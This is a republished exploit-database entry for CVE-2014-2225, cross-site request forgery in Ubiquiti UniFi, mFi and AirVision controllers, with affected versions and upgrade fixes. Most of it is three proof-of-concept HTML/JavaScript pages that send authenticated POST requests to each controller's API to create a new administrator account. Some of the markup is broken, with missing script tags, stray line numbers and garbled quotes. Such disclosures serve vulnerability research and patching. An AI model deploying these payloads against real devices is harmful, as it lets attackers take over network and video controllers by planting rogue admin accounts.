Ubiquiti UbiFi / mFi / AirVision – Cross-Site Request Forgery

Exploit Database
113 阅读

作者： Seth Art

日期： 2014-07-28
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/34187/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

# Vendor Homepage: (http://www.ubnt.com/)

# Tested on: Kali Linux

-----------------------------------------

Affected Products/Versions:

-----------------------------------------

UniFi Controller v2.4.6

mFi Controller v2.0.15

AirVision Controller v2.1.3

Note: Previous versions may be affected

-----------------

Description:

-----------------

Title: Cross-site Request Forgery (CSRF)

CVE: CVE-2014-2225

CWE: http://cwe.mitre.org/data/definitions/352.html

Detailed writeup: http://sethsec.blogspot.com/2014/07/cve-2014-2225.html

Researcher: Seth Art - @sethsec

---------------

UniFi POC:

---------------

<html>

<head>

function sendCSRF()

{

var url_base = "https://192.168.0.106:8443/api/add/admin"

var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;

xmlhttp = new XMLHttpRequest();

xmlhttp.open("POST", url_base, true);

xmlhttp.setRequestHeader("Accept","*/*");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;

charset=UTF-8");

xmlhttp.withCredentials= "true";

xmlhttp.send(post_data);

}

</script>

</head>

<body>

Sending CSRF Payload!!!

</body>

-------------

mFi POC:

-------------

<html>

<head>

function sendCSRF()

{

var url_base = "https://192.168.0.106:6443/api/v1.0/add/admin"

var post_data="%7B%22name%22%3A%22csrf%22%2C%22lang%22%3A%22en_US%22%2C%22x_password%22%3A%22csrf%22%7D"

var xmlhttp;

xmlhttp = new XMLHttpRequest();

xmlhttp.open("POST", url_base, true);

xmlhttp.setRequestHeader("Accept","*/*");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded;

charset=UTF-8");

xmlhttp.withCredentials= "true";

xmlhttp.send(post_data);

}

</script>

</head>

<body>

Sending CSRF Payload!!!

</body>

--------------------

AirVision POC:

--------------------

<html>

<head>

function sendCSRF()

{

var url_base = "https://192.168.0.106:7443/api/v2.0/admin"

var post_data="{\”name\”:\”csrf\”,\”email\”:\”csrf@gmail.com\”,\”userGroup:\”:\”admin\”,\”x_password\”:\”password\”,\”confirmPassword\”:\”password\”,\”disabled\”:\”false\”}”

var xmlhttp;

xmlhttp = new XMLHttpRequest();

xmlhttp.open("POST", url_base, true);

xmlhttp.setRequestHeader("Accept","*/*");

xmlhttp.setRequestHeader("Content-type","application/plain; charset=UTF-8");

xmlhttp.withCredentials= "true";

xmlhttp.send(post_data);

}

</script>

</head>

<body>

Sending CSRF Payload!!!

</body>

-------------

Solution:

-------------

UniFi Controller - Upgrade to UniFi Controller v3.2.1 or greater

mFi Controller - Upgrade to mFi Controller v2.0.24 or greater

AirVision Controller - Upgrade to UniFi Video v3.0.1 or greater (Note:

The application name changed from AirVision to UniFi Video)